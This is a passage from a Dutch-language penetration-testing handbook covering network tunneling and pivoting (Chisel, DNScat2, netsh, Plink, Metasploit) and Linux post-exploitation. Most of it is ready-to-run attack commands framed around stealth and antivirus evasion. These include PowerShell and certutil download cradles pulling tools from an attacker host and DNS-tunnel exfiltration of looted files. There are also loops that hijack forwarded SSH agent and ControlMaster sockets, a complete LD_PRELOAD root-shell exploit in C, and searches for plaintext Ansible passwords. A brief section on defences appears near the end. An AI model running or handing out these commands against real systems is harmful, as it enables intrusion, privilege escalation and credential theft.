.\chisel.exe client 10.0.0.1:8080 R:8888:172.16.0.10:80

# Meerdere poorten tegelijk:
.\chisel.exe client 10.0.0.1:8080 \
    R:445:172.16.0.10:445 R:3389:172.16.0.10:3389

Dat laatste commando forward zowel SMB (445) als RDP (3389) van het interne target naar je aanvalsmachine. Je kunt vervolgens rdesktop 127.0.0.1:3389 draaien alsof het target naast je staat.

HTTPS voor stealth

Voor extra stealth kun je Chisel over HTTPS draaien met TLS:

# Server met TLS:
chisel server --reverse --port 443 \
    --tls-key key.pem --tls-cert cert.pem

# Client:
.\chisel.exe client https://10.0.0.1:443 R:socks

Een versleutelde verbinding over poort 443. Voor een firewall of IDS ziet het eruit als normaal HTTPS-verkeer. Je kunt zelfs een geldig certificaat gebruiken als je een domein hebt, waardoor het verkeer volledig opgaat in de achtergrond.

IB Tip: Zoek op net_chisel_tunnel in het Commands-paneel voor de complete Chisel SOCKS en port forwarding commando’s. Vergeet niet --auth user:pass toe te voegen als je de tunnel wilt beveiligen.

Chisel vs. SSH

Eigenschap SSH Chisel
Protocol SSH (poort 22) HTTP/WebSocket (poort 80/443)
Vereisten server SSH daemon Enkele binary
Vereisten client SSH client Enkele binary
Detectie SSH-verkeer herkenbaar Lijkt op normaal webverkeer
Encryptie Standaard Optioneel (TLS)
OS-support Linux/macOS native Cross-platform binary

In de praktijk is de keuze vaak simpel: als SSH beschikbaar is, gebruik SSH. Als het niet beschikbaar is of geblokkeerd wordt, pak Chisel.

DNScat2

En dan zijn er de momenten waarop echt alles geblokkeerd is. Geen SSH. Geen HTTP. Geen HTTPS. De firewall is dichtgetimmerd als een Middeleeuwse burcht. Er is precies een ding dat nog werkt: DNS.

DNS – het Domain Name System – is het telefoonboek van het internet. Elke keer dat je een website bezoekt, doet je computer een DNS-lookup om de domeinnaam te vertalen naar een IP-adres. En DNS-verkeer wordt bijna nooit geblokkeerd, want als je DNS blokkeert, werkt er helemaal niets meer. Geen websites. Geen e-mail. Geen updates. Niets.

DNScat2 misbruikt dit feit door data te verpakken in DNS-queries en -responses. Elke DNS-query kan een klein stukje data bevatten – een commando, een stukje van een bestand, een fragment van een shell-sessie. Het is langzaam. Het is beperkt (maximaal ongeveer 500 bytes per query). Maar het werkt wanneer niets anders werkt.

Het is het equivalent van berichten coderen in de classificeerdjes van de krant. Niemand verwacht dat er geheime boodschappen in de “Te Koop”-advertenties staan, en dus kijkt niemand.

Server setup

De server draait op je aanvalsmachine en heeft Ruby nodig. Idealiter ben je de authoritative DNS-server voor een domein, zodat alle DNS-queries voor dat domein bij jou uitkomen:

# Met domein (stealthy - gaat via reguliere DNS-resolutie):
ruby dnscat2.rb tunnel.domain.local \
    --secret=sharedsecret --security=open

# Zonder domein (direct mode - minder stealthy):
ruby dnscat2.rb --dns server=0.0.0.0,port=53 \
    --secret=sharedsecret

De --secret parameter is cruciaal: het voorkomt man-in-the-middle-aanvallen op de tunnel. Zonder shared secret kan iedereen die het DNS-verkeer onderschept de sessie overnemen.

IB Tip: Zoek op net_dnscat2_server in het Commands-paneel voor de server setup en sessiecommando’s. Vergeet niet de shared secret te genereren voordat je de server start.

Client

De client is beschikbaar als pre-compiled binary voor Windows, als Linux binary, en zelfs als PowerShell-script voor situaties waarin je geen binary kunt uploaden:

# Windows binary:
.\dnscat2-v0.07-client-win32.exe \
    --dns server=10.0.0.1,port=53 --secret=sharedsecret

# Via domein (stealthier):
.\dnscat2-v0.07-client-win32.exe tunnel.domain.local \
    --secret=sharedsecret

# Linux:
./dnscat --dns server=10.0.0.1,port=53 --secret=sharedsecret

# PowerShell (geen binary nodig):
powershell -c "IEX(New-Object Net.WebClient).DownloadString(
    'http://10.0.0.1/tools/dnscat2.ps1');
    Start-Dnscat2 -Domain tunnel.domain.local -DNSServer 10.0.0.1"

IB Tip: Zoek op net_dnscat2_client voor alle client-varianten. De PowerShell-variant is ideaal wanneer je geen bestanden kunt uploaden naar het target.

Sessies en interactie

Zodra een client verbindt, verschijnt er een sessie op de server:

dnscat2> sessions
dnscat2> session -i 1
command (victim01)> shell
command (victim01)> download C:\Windows\tasks\loot.txt /tmp/loot.txt

Je kunt een interactieve shell openen, bestanden downloaden, en commando’s uitvoeren – allemaal over DNS. Het is traag. Verschrikkelijk traag. Een bestand van een megabyte downloaden kan tientallen minuten duren. Maar als DNS je enige uitweg is, dan neem je die traagheid voor lief.

Wanneer DNScat2?

DNScat2 is je wapen van laatste redmiddel. Je gebruikt het wanneer:

  1. Alle andere protocollen geblokkeerd zijn – de firewall staat alleen DNS toe.
  2. Data exfiltratie – je moet kleine hoeveelheden data naar buiten krijgen zonder argwaan te wekken.
  3. Persistence – een DNS-tunnel is moeilijker te detecteren dan een HTTP-callback.

Het is niet geschikt voor hoge bandbreedte. Het is niet geschikt als je snel moet werken. Maar het is een lifeline wanneer elke andere deur dicht zit.

En het feit dat het werkt – dat je een volledige command-and-control-sessie kunt draaien over iets dat bedoeld is om www.google.com te vertalen naar 142.250.180.4 – zegt iets verontrustends over hoe weinig aandacht de meeste organisaties besteden aan hun DNS-verkeer.

Netsh Port Forwarding

Er zijn momenten in het leven van een penetratietester waarop je op een Windows-machine zit die zo vergrendeld is dat je er niets op kunt installeren. Geen Chisel. Geen Plink. Geen PowerShell-modules van internet. AppLocker staat aan. De antivirus is alert. Je hebt precies de tools die Windows zelf meelevert.

Gelukkig is netsh een van die tools.

netsh – Network Shell – is een ingebouwde Windows-tool die al bestaat sinds Windows XP, en het kan port forwarding doen zonder dat je iets hoeft te installeren. Het is niet fancy. Het heeft geen encryptie. Maar het werkt, en het ziet eruit als een legitiem Windows-commando, want dat is het ook.

# Port forward aanmaken
netsh interface portproxy add v4tov4 \
    listenport=4455 listenaddress=0.0.0.0 \
    connectport=445 connectaddress=INTERNAL_TARGET

# Firewall regel toevoegen
netsh advfirewall firewall add rule name="port_fwd" \
    protocol=TCP dir=in localport=4455 action=allow

# Verifieer
netsh interface portproxy show all

Dit luistert op poort 4455 van de gecompromitteerde host en stuurt alles door naar poort 445 (SMB) van het interne target. Je kunt nu vanaf je aanvalsmachine SMB-verkeer sturen naar de pivot host op poort 4455, en het wordt doorgestuurd naar het interne netwerk.

Meerdere forwards

Je kunt meerdere port forwards tegelijk opzetten:

netsh interface portproxy add v4tov4 \
    listenport=3389 listenaddress=0.0.0.0 \
    connectport=3389 connectaddress=INTERNAL_TARGET

netsh interface portproxy add v4tov4 \
    listenport=80 listenaddress=0.0.0.0 \
    connectport=80 connectaddress=INTERNAL_TARGET

De NetLoader chain trick

Een slimme combinatie is het forwarden van een HTTP-poort naar je aanvalsmachine, zodat je tools in-memory kunt laden via de pivot:

# Forward HTTP poort naar aanvaller:
netsh interface portproxy add v4tov4 \
    listenport=8080 listenaddress=0.0.0.0 \
    connectport=80 connectaddress=ATTACKER_IP

# Op het target:
Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe

Het target denkt dat het een lokaal bestand laadt, maar in werkelijkheid haalt het de tool op van je aanvalsmachine, via de netsh-forward. Geen bestanden op schijf. Geen AV-trigger. Elegant in zijn eenvoud.

Opruimen

En vergeet niet op te ruimen als je klaar bent:

# Specifieke forward verwijderen:
netsh interface portproxy delete v4tov4 \
    listenport=4455 listenaddress=0.0.0.0

# Firewall regel verwijderen:
netsh advfirewall firewall delete rule name="port_fwd"

# Alles resetten:
netsh interface portproxy reset

IB Tip: Zoek op tunnel_netsh in het Commands-paneel. De commando’s bevatten zowel het aanmaken, verifieren als opruimen van port forwards. Vergeet die laatste stap niet – achtergelaten port forwards zijn een bevindingsrisico.

Een belangrijk detail: netsh port forwarding vereist SYSTEM- of administrator-privileges. Maar als je op een Windows-machine zit waar je netsh kunt draaien, heb je die privileges waarschijnlijk al.

Plink is het command-line broertje van PuTTY, en het is de Windows-oplossing voor SSH-tunneling wanneer OpenSSH niet beschikbaar is. Op oudere Windows-systemen – en die kom je in enterprise-omgevingen vaker tegen dan je zou willen – is OpenSSH niet standaard geinstalleerd. PuTTY daarentegen staat op de helft van alle Windows-machines in corporate omgevingen, en als het er niet staat, wordt plink.exe door vrijwel geen enkele antivirus als verdacht beschouwd.

Remote port forward

Het meest voorkomende gebruik is een remote port forward vanuit een non-interactieve shell:

cmd.exe /c echo y | plink.exe -ssh -l kali -pw KALI_PASS \
    -R KALI_IP:4444:127.0.0.1:4444 KALI_IP

Die echo y aan het begin is cruciaal. Plink vraagt bij de eerste verbinding of je de host key wilt accepteren. In een non-interactieve shell kun je niet “yes” typen, dus pipe je het er doorheen. Het is lelijk. Het is onveilig (je accepteert elke host key blindelings). Maar in een pentest-scenario is dat een acceptabele trade-off.

Alle varianten

# Local port forward:
plink.exe -ssh -l kali -pw KALI_PASS \
    -L 8080:INTERNAL_TARGET:80 KALI_IP

# Dynamic SOCKS proxy:
plink.exe -ssh -l kali -pw KALI_PASS -D 1080 KALI_IP

# Met SSH key:
plink.exe -ssh -i key.ppk -l kali \
    -R KALI_IP:4444:127.0.0.1:4444 KALI_IP

# Meerdere forwards:
plink.exe -ssh -l kali -pw KALI_PASS \
    -R 4444:127.0.0.1:4444 -R 8080:127.0.0.1:80 KALI_IP

Als Plink niet al op het target staat, kun je het er naartoe krijgen met de gebruikelijke methoden:

# Via certutil:
certutil -urlcache -f http://ATTACKER_IP/plink.exe \
    C:\Windows\tasks\plink.exe

# Via PowerShell:
(New-Object Net.WebClient).DownloadFile(
    'http://ATTACKER_IP/plink.exe',
    'C:\Windows\tasks\plink.exe')

IB Tip: Zoek op tunnel_plink in het Commands-paneel. Let op: Plink gebruikt .ppk-bestanden voor keys, niet het OpenSSH-formaat. Converteer met PuTTYgen als je een OpenSSH-key hebt.

Plink is niet de eerste keuze. Het is niet de elegantste tool. Maar op een verouderde Windows Server 2012 in een hoekje van het netwerk waar niemand ooit naar omkijkt – daar is Plink precies wat je nodig hebt. Het is de schroevendraaier in de lade die je een keer per jaar nodig hebt, maar die dan precies de juiste maat blijkt te zijn.

Metasploit Pivoting

Als SSH de hamer is en Chisel het multitool, dan is Metasploit de complete werkplaats. Metasploit’s pivoting-mogelijkheden zijn ingebouwd in het framework en werken naadloos samen met de rest van het ecosysteem: exploits, payloads, post-exploitation modules – alles kan door een Metasploit-tunnel lopen.

Autoroute

De eerste stap is altijd autoroute. Als je een Meterpreter-sessie hebt op een dual-homed host, kun je Metasploit vertellen om verkeer naar het interne netwerk via die sessie te routeren:

use multi/manage/autoroute
set SESSION 1
set SUBNET 10.1.0.0
set NETMASK 255.255.255.0
exploit

Of handmatig:

route add 10.1.0.0/24 1
route print

Vanaf dit moment stuurt Metasploit al het verkeer naar 10.1.0.0/24 via sessie 1. Exploits, scans, auxiliary modules – alles gaat automatisch via de pivot.

SOCKS proxy

Maar wat als je tools buiten Metasploit wilt gebruiken? Dan zet je een SOCKS proxy op:

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 5
exploit -j

Combineer met ProxyChains (socks5 127.0.0.1 1080 in de config) en je kunt nmap, CrackMapExec, en elk ander tool door de Metasploit-tunnel sturen:

proxychains nmap -sT -Pn 10.1.0.0/24
proxychains crackmapexec smb 10.1.0.0/24

Meterpreter portfwd

Voor specifieke poorten biedt Meterpreter zijn eigen port forwarding:

# Local port forward:
meterpreter > portfwd add -l 3389 -p 3389 -r INTERNAL_TARGET
# Verbind: rdesktop 127.0.0.1:3389

# SMB forward:
meterpreter > portfwd add -l 445 -p 445 -r INTERNAL_TARGET

# Reverse port forward:
meterpreter > portfwd add -R -l 4444 -p 4444 -L 0.0.0.0

# Overzicht:
meterpreter > portfwd list

# Verwijderen:
meterpreter > portfwd delete -l 3389 -p 3389 -r INTERNAL_TARGET

Resource script voor snelle setup

Voor herhaalde engagements kun je een resource script maken dat de hele pivot-infrastructuur in een keer opzet:

# pivot.rc
use multi/manage/autoroute
set SESSION 1
exploit
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
exploit -j

Start met:

msfconsole -r pivot.rc

Binnen dertig seconden heb je autoroute en een SOCKS proxy draaien. Efficiëntie.

IB Tip: Zoek op tunnel_msf_pivot in het Commands-paneel voor het complete Metasploit pivoting-recept: autoroute, SOCKS proxy, en portfwd in een overzicht. De resource script-techniek staat er ook bij.

Multi-hop Scenarios

De werkelijkheid van een groot enterprise-netwerk is zelden zo simpel als “een hop en je bent er”. Je start in de DMZ, pivoteert naar het applicatie-segment, dan naar het database-segment, en uiteindelijk naar het management-VLAN waar de Domain Controllers staan. Elke stap is een tunnel door een tunnel door een tunnel, als een Russische matroesjka-pop van netwerkverbindingen.

Het patroon

Een typisch multi-hop-scenario ziet er zo uit:

Aanvaller --> [SSH tunnel] --> Pivot 1 (DMZ)
                                  |
                                  +-> [Chisel tunnel] --> Pivot 2 (App VLAN)
                                                              |
                                                              +-> [portfwd] --> Target (DB VLAN)

Praktisch voorbeeld

# Hop 1: SSH SOCKS proxy naar DMZ host
ssh -N -D 127.0.0.1:1080 user@dmz-host

# Hop 2: Chisel via ProxyChains naar app-server
proxychains chisel server --reverse --port 9090 &
# Op app-server (via hop 1):
.\chisel.exe client dmz-host:9090 R:1081:socks

# Hop 3: ProxyChains config met chain
# /etc/proxychains4.conf:
# chain_len = 2
# [ProxyList]
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081

Elke hop voegt complexiteit en latency toe. Bij drie hops merk je het. Bij vier hops wordt het frustrerend. Bij vijf hops ga je je afvragen of het netwerk misschien toch niet zo slecht gesegmenteerd is en je gewoon de verkeerde route neemt.

SSH ProxyJump keten

SSH maakt multi-hop het eenvoudigst met een keten van ProxyJumps:

ssh -J user@pivot1,user@pivot2 user@target

Of in je SSH config:

Host target-deep
    HostName 10.3.0.50
    User admin
    ProxyJump pivot2

Host pivot2
    HostName 10.2.0.10
    User operator
    ProxyJump pivot1

Host pivot1
    HostName 192.168.1.100
    User pentest

Met ssh target-deep loop je automatisch door alle hops. Elegant. Onderhoudbaar. En het laat zien dat SSH niet voor niets al dertig jaar de standaard is.

Verdediging

Nu, het cynische deel. Want iemand moet het zeggen.

“Ons netwerk is gesegmenteerd.”

Ja. Dat zeggen ze allemaal. Het staat in de PowerPoint. Het staat in het beveiligingsbeleid. Er is ooit een architect geweest die een prachtige tekening heeft gemaakt met gekleurde vlakken en pijltjes, en iedereen heeft geknikt en “goed plan” gezegd.

En dan blijkt dat de applicatieserver in de DMZ een tweede netwerkkaart heeft die rechtstreeks in het database-VLAN hangt, “omdat de applicatie anders te langzaam is”. Of dat er een beheer-VLAN is dat overal bij kan, en dat iedereen van IT daar toegang toe heeft “voor troubleshooting”. Of dat de firewall-regels ooit als tijdelijke maatregel zijn verruimd en nooit meer zijn teruggedraaid, omdat niemand meer weet waarom ze er stonden.

Segmentatie die niet wordt gehandhaafd, is geen segmentatie. Het is decoratie.

Maar goed. Er zijn dingen die je kunt doen om tunneling moeilijker te maken. Niet onmogelijk – niets is onmogelijk als de aanvaller voldoende tijd en motivatie heeft – maar moeilijker.

Egress filtering

De meeste firewalls controleren inkomend verkeer alsof hun leven ervan afhangt, en laten uitgaand verkeer zonder enige inspectie door. Dat is alsof je een nachtclub runt waar de uitsmijter alleen controleert wie er binnenkomt, maar iedereen die naar buiten loopt met een flatscreen onder zijn arm vrolijk doorlaat.

Implementeer egress filtering. Beperk welke poorten uitgaand verkeer mogen gebruiken. Sta SSH alleen toe naar bekende bestemmingen. Forceer HTTP-verkeer via een proxy. En log alles.

# Voorbeeld: alleen bekende bestemmingen voor SSH
iptables -A OUTPUT -p tcp --dport 22 -d known_ssh_server -j ACCEPT
iptables -A OUTPUT -p tcp --dport 22 -j DROP

DNS inspection

DNS-tunneling werkt omdat niemand naar DNS-verkeer kijkt. Verander dat.

Network monitoring

Deploy een IDS/IPS die tunneling-patronen herkent:

SSH hardening

Microsegmentatie

De trend in moderne netwerken is microsegmentatie: niet alleen segmenteren per VLAN, maar per workload. Elke applicatie, elke service, elke container heeft zijn eigen set van firewall-regels die alleen het strikt noodzakelijke verkeer toestaan.

Het is meer werk. Veel meer werk. Maar het betekent dat een gecompromitteerde webserver niet automatisch bij de database kan, zelfs als ze in hetzelfde VLAN zitten. De tunnel moet niet alleen het netwerk overbruggen, maar ook de applicatielaag, en dat maakt pivoting exponentieel moeilijker.

De cynicus heeft het laatste woord

Weet je wat het mooiste is aan tunneling? Het toont perfect aan hoe de beveiligingsindustrie werkt.

Een organisatie geeft honderdduizenden euro’s uit aan next-generation firewalls met deep packet inspection, SSL-interceptie, en AI-powered threat detection. Ze huren een consultant in om de netwerksegmentatie te ontwerpen. Ze laten een architectuurtekening maken die eruitziet als een kunstwerk van Mondriaan.

En dan doet een penetratietester ssh -D 1080 op een vergeten Linux-server in de DMZ en heeft binnen twee minuten toegang tot het complete interne netwerk.

Niet omdat de tools niet werken. Niet omdat de firewall slecht is. Maar omdat ergens, op een dinsdagmiddag om half vijf, iemand een uitzondering heeft gemaakt. “Alleen tijdelijk.” “Alleen voor dit project.” “Alleen voor deze server.”

Tijdelijke uitzonderingen zijn de permanente bewoners van elk beveiligingsbeleid. Ze komen binnen met de belofte dat ze morgen weer vertrekken, en vijf jaar later zitten ze er nog steeds, met pantoffels aan en een abonnement op de kabelkrant.

De enige verdediging die echt werkt tegen tunneling is niet een product of een tool. Het is discipline. Het is de discipline om elke uitzondering te documenteren, te reviewen, en te verwijderen wanneer hij niet meer nodig is. Het is de discipline om firewall-regels te auditen. Het is de discipline om te controleren of de architectuurtekening nog overeenkomt met de werkelijkheid.

En discipline, zo weten we uit de menselijke geschiedenis, is precies datgene waar we als soort het slechtst in zijn.

Referentietabel

Techniek Tool Protocol IB Command MITRE ATT&CK
SSH Local Forward ssh -L SSH (22) tunnel_ssh_socks T1572
SSH Remote Forward ssh -R SSH (22) tunnel_ssh_socks T1572
SSH Dynamic SOCKS ssh -D SSH (22) tunnel_ssh_socks T1572
SSH ProxyJump ssh -J SSH (22) tunnel_ssh_socks T1572
Sshuttle sshuttle SSH (22) Task Runner T1572
Chisel SOCKS chisel HTTP/WS net_chisel_tunnel T1572, T1090.002
Chisel Port Forward chisel HTTP/WS net_chisel_tunnel T1572
DNScat2 Server dnscat2.rb DNS (53) net_dnscat2_server T1572, T1071.004
DNScat2 Client dnscat2 DNS (53) net_dnscat2_client T1572, T1071.004
Netsh Port Forward netsh TCP tunnel_netsh T1090
Plink Forward plink.exe SSH (22) tunnel_plink T1572
Plink SOCKS plink.exe SSH (22) tunnel_plink T1572
MSF Autoroute autoroute Meterpreter tunnel_msf_pivot T1572
MSF SOCKS Proxy socks_proxy SOCKS5 tunnel_msf_pivot T1090
MSF Port Forward portfwd Meterpreter tunnel_msf_pivot T1090

Samenvatting

Tunneling is de kunst van het leggen van verborgen verbindingen door netwerken die bedoeld zijn om die verbindingen te voorkomen. Van de simpele elegantie van SSH local port forwarding tot de brute kracht van een Metasploit pivot-chain; van de transparantie van sshuttle tot het ultieme stealth-kanaal van DNS-tunneling – elke tool heeft zijn plaats.

De keuze hangt af van drie factoren:

  1. Wat is beschikbaar? SSH? HTTP? Alleen DNS?
  2. Wat heb je nodig? Een enkele poort? Een heel subnet? Een volledige SOCKS proxy?
  3. Hoe stil moet je zijn? Maakt detectie uit, of is snelheid belangrijker?

In het volgende hoofdstuk verlaten we de tunnels en duiken we in de wereld van Linux post-exploitatie – waar de servers stil zijn, de logs uitgebreid, en de cronjobs verraderlijk.

Linux Post-Exploitatie

Linux Post-Exploitatie

Als Windows het drukke stadscentrum is van de enterprise-wereld – luidruchtig, vol beweging, overal billboards en reclameborden – dan is Linux het platteland. Stiller. Minder opvallend. De servers staan in een hoekje van het datacenter, ze draaien al jaren zonder dat iemand ernaar omkijkt, en ze doen hun werk met de stille betrouwbaarheid van een dieselmotor uit de jaren tachtig.

En precies die kalmte maakt ze zo gevaarlijk.

Want terwijl iedereen gefocust is op Active Directory, Kerberos-tickets, en de nieuwste Windows-exploits, draait er op die vergeten Linux-server in de hoek een SSH-agent met forwarded keys naar de productiedatabase. Er staat een Ansible-configuratie met plaintext-wachtwoorden. Er is een cronjob die elke nacht als root een script draait dat world-writable is. En niemand kijkt ernaar, want “Linux is toch veiliger dan Windows?”

Spoiler: dat is het niet. Het is anders. De aanvalsoppervlakte is anders. De verdedigingsmechanismen zijn anders. De fouten die mensen maken zijn anders. Maar de fundamentele waarheid blijft dezelfde: elk systeem is precies zo veilig als de persoon die het beheert. En de gemiddelde Linux-beheerder lijdt aan hetzelfde optimisme-syndroom als zijn Windows-collega, alleen dan met meer baard en een sterker gevoel van morele superioriteit.

Dit hoofdstuk gaat over wat je doet nadat je een Linux-systeem hebt gecompromitteerd. De technieken om je positie te versterken, lateraal te bewegen, en privileges te escaleren in een wereld van bash, cron, en sudo.

SSH Agent Hijacking

SSH-keys zijn de standaard voor authenticatie op Linux-systemen. Geen wachtwoorden onthouden, geen brute force-risico, cryptografisch sterk. Het is de gouden standaard van authenticatie.

Behalve wanneer iemand SSH agent forwarding aanzet.

SSH agent forwarding is een convenience feature. Het idee is simpel: je hebt een SSH-key op je werkstation. Je logt in op server A. Vanuit server A wil je doorloggen naar server B, maar je key staat op je werkstation, niet op server A. Met agent forwarding stuurt server A het authenticatieverzoek terug naar je werkstation, dat de key gebruikt om te tekenen, en stuurt het antwoord terug. Je hoeft je private key nooit op server A te zetten.

Klinkt elegant. Is het ook. Tot iemand met root-toegang op server A ontdekt dat hij die forwarded agent socket kan gebruiken om als jou in te loggen op server B. Of server C. Of elke server waar jouw key toegang toe geeft.

Hoe het werkt

Wanneer je met agent forwarding inlogt op een server, maakt SSH een Unix-socket aan in /tmp:

/tmp/ssh-XXXX/agent.12345

Deze socket is de verbinding terug naar je werkstation. Iedereen die deze socket kan benaderen – en als root kun je alles benaderen – kan je agent gebruiken om verbindingen te authenticeren.

Stap voor stap

De IB command file linux_ssh_agent legt het hele proces uit:

# Stap 1: Zoek forwarded SSH agent sockets
find /tmp -type s -name 'agent.*' 2>/dev/null
ls -la /tmp/ssh-*/agent.*

# Stap 2: Check welke keys geladen zijn
for sock in /tmp/ssh-*/agent.*; do
    SSH_AUTH_SOCK=$sock ssh-add -l 2>/dev/null \
        && echo "^^ Found in: $sock"
done

# Stap 3: Gebruik de gevonden agent socket
export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.12345
ssh-add -l

# Stap 4: SSH naar andere hosts met gestolen keys
ssh user@internal-target
ssh user@other-server

Dat is het. Vier stappen. Geen exploit, geen vulnerability, geen zero-day. Gewoon een feature die werkt zoals ontworpen – alleen is het ontwerp verschrikkelijk vanuit beveiligingsperspectief.

Permanent monitoring

Als je wilt weten wanneer er nieuwe agent sockets verschijnen (omdat gebruikers inloggen en weer uitloggen), kun je een eenvoudige monitor draaien:

while true; do
    for sock in /tmp/ssh-*/agent.*; do
        SSH_AUTH_SOCK=$sock ssh-add -l 2>/dev/null
    done
    sleep 60
done &

Dit controleert elke minuut op nieuwe agent sockets. Zodra een beheerder met agent forwarding inlogt, heb je zijn keys.

IB Tip: Zoek op linux_ssh_agent in het Commands-paneel voor het volledige agent hijacking-recept. Tip: als root kun je ook /proc/*/environ doorzoeken naar SSH_AUTH_SOCK variabelen van andere processen.

De implicatie

Bedenk wat dit betekent in de praktijk. Een senior engineer logt ’s ochtends in op een jumphost met agent forwarding aan. Vanuit die jumphost werkt hij op tien verschillende servers. Zijn agent socket staat open op de jumphost. Jij hebt root op die jumphost. Je hebt nu de keys van de senior engineer, en daarmee toegang tot alles waar hij bij kan.

En de senior engineer? Die merkt er niets van. Er is geen melding. Er is geen waarschuwing. Zijn SSH-sessie werkt gewoon. Hij heeft geen idee dat iemand anders zijn identiteit gebruikt om in te loggen op de productiedatabase.

Agent forwarding is het digitale equivalent van je huissleutel aan een haakje bij de voordeur hangen met een briefje “gebruik gerust”. Het is bedoeld om het leven makkelijker te maken, en dat doet het – voor iedereen.

SSH Session Hijacking

Als agent forwarding het stelen van iemands sleutels is, dan is session hijacking het overnemen van iemands auto terwijl de motor nog draait.

SSH ControlMaster is een feature waarmee meerdere SSH-sessies een enkele TCP-verbinding delen. De eerste verbinding maakt een Unix-socket aan (de “control socket”), en alle volgende verbindingen naar dezelfde host lopen via die bestaande verbinding. Sneller. Minder overhead. Geen herhaalde authenticatie.

En als je toegang hebt tot die control socket, kun je nieuwe sessies openen zonder je te authenticeren.

Hoe het werkt

De configuratie staat typisch in ~/.ssh/config:

Host *
    ControlMaster auto
    ControlPath /tmp/ssh-%r@%h:%p
    ControlPersist 10m

Dat ControlPersist 10m betekent dat de control socket tien minuten open blijft nadat de laatste sessie is gesloten. Tien minuten waarin iemand met toegang tot die socket nieuwe verbindingen kan openen.

Stap voor stap

# Stap 1: Zoek actieve ControlMaster sockets
find /tmp -path '*/ssh-*' -name 'agent.*' 2>/dev/null
ls -la /tmp/ssh-*/
find /home -name 'control-*' -o -name '*.sock' 2>/dev/null

# Stap 2: Zoek SSH config voor ControlMaster instellingen
grep -r "ControlMaster\|ControlPath\|ControlPersist" \
    /home/*/.ssh/config 2>/dev/null

# Stap 3: Check of de socket actief is
ssh -S /tmp/ssh-XXXX/agent.12345 -O check user@target

# Stap 4: Maak een nieuwe sessie via de bestaande socket
ssh -S /tmp/ssh-XXXX/agent.12345 user@target

# Stap 5: Forward een poort via de bestaande socket
ssh -S /tmp/ssh-XXXX/agent.12345 -O forward \
    -L 8080:internal:80 user@target

IB Tip: Zoek op linux_ssh_hijack in het Commands-paneel. Let op: ControlMaster sockets zijn alleen bruikbaar als root of als de eigenaar van de socket. Met root-rechten kun je elke socket gebruiken.

Het verschil met agent hijacking

Bij agent hijacking steel je de keys en kun je naar elke server waar die keys toegang toe geven. Bij session hijacking neem je een bestaande verbinding over en kun je alleen naar de server waar die verbinding mee is opgezet.

Maar session hijacking heeft een voordeel: het genereert geen nieuwe authenticatie-events. Er is geen login in de logs van de target-server. De bestaande sessie wordt gewoon hergebruikt. Het is het verschil tussen iemands sleutel kopieren (wat sporen achterlaat bij de slotenmaker) en simpelweg door de deur lopen die al openstaat.

LD_PRELOAD

LD_PRELOAD is een van die Linux-features waarvan je je afvraagt wie ooit heeft gedacht dat het een goed idee was. Het stelt je in staat om een shared library te specificeren die geladen wordt voordat alle andere libraries – inclusief de standaard C library. Elke functie in je library overschrijft de functie met dezelfde naam in de standaard libraries.

Het is oorspronkelijk bedoeld voor debugging en testing. In de praktijk is het een privilege escalation-vector die zo elegant is dat het bijna kunst is.

De voorwaarde

LD_PRELOAD-escalatie werkt wanneer aan twee voorwaarden is voldaan:

  1. Je kunt een programma draaien met sudo (zonder wachtwoord, of met een wachtwoord dat je kent).
  2. De sudoers-configuratie bevat env_keep += LD_PRELOAD.

Die tweede voorwaarde is cruciaal. Normaal gesproken stripted sudo gevaarlijke environment variables, waaronder LD_PRELOAD. Maar als een beheerder heeft besloten dat LD_PRELOAD behouden moet worden – en dat komt vaker voor dan je zou denken, vooral bij applicaties die custom libraries nodig hebben – dan is het game over.

Check of het mogelijk is

sudo -l
# Zoek naar: env_keep += LD_PRELOAD

De exploit

De IB command file linux_ldpreload bevat de volledige exploit:

// /tmp/evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

De _init() functie wordt automatisch uitgevoerd wanneer de library wordt geladen. Het eerste dat hij doet is LD_PRELOAD uit de environment verwijderen (om oneindige recursie te voorkomen). Dan zet hij de user ID naar 0 (root). Dan opent hij een bash shell met de -p flag (behoud privileges).

# Compileer de shared library
gcc -shared -fPIC -nostartfiles -o /tmp/evil.so /tmp/evil.c

# Inject via sudo
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/apache2
# Of elk ander programma dat je met sudo mag draaien:
sudo LD_PRELOAD=/tmp/evil.so find

Het maakt niet uit welk programma je met sudo draait. Het maakt niet uit wat dat programma doet. Zodra het programma start, wordt je library geladen, en je hebt een root shell voordat het programma ook maar een regel van zijn eigen code heeft uitgevoerd.

# Opruimen
rm /tmp/evil.so /tmp/evil.c

IB Tip: Zoek op linux_ldpreload in het Commands-paneel voor de volledige LD_PRELOAD exploit chain. Check altijd eerst sudo -l om te verifieren dat env_keep de variabele doorlaat.

Waarom dit nog steeds werkt

Je zou denken dat in het jaar 2026 niemand meer LD_PRELOAD in env_keep zet. Je zou het hopen. Maar de werkelijkheid is dat legacy-applicaties soms custom shared libraries nodig hebben die via LD_PRELOAD worden geladen, en de snelste manier om dat werkend te krijgen met sudo is – je raadt het al – env_keep += LD_PRELOAD toevoegen aan de sudoers file.

“Alleen tijdelijk.” “Alleen voor deze applicatie.” “We fixen het later.”

We weten hoe dat afloopt.

Ansible Enumeratie

Ansible is een configuration management tool die SSH gebruikt om servers te beheren. Geen agent nodig op de doelmachines – alleen SSH-toegang en Python. Het is populair, het is krachtig, en het slaat zijn configuratie op in YAML-bestanden die – als je geluk hebt – plaintext wachtwoorden bevatten.

Niet “als je geluk hebt” in de zin van “misschien, met een beetje moeite”. Meer in de zin van “in zeventig procent van de Ansible-installaties die we tegenkomen”.

Waar te zoeken

Ansible slaat zijn configuratie op in een handvol standaardlocaties:

# Zoek Ansible-configuratie
find / -name "*.yml" -path "*/ansible/*" 2>/dev/null | head -20

# Zoek Ansible vault-bestanden
find / -name "vault*" -path "*/ansible/*" 2>/dev/null

# Lees de inventory (host-lijst)
cat /etc/ansible/hosts 2>/dev/null

# Zoek wachtwoorden in de configuratie
grep -ri "ansible_ssh_pass\|ansible_become_pass\|vault_password" \
    /etc/ansible/ 2>/dev/null

IB Tip: Zoek op linux_ansible_enum in het Commands-paneel voor de Ansible-enumeratiecommando’s.

Wat je kunt vinden

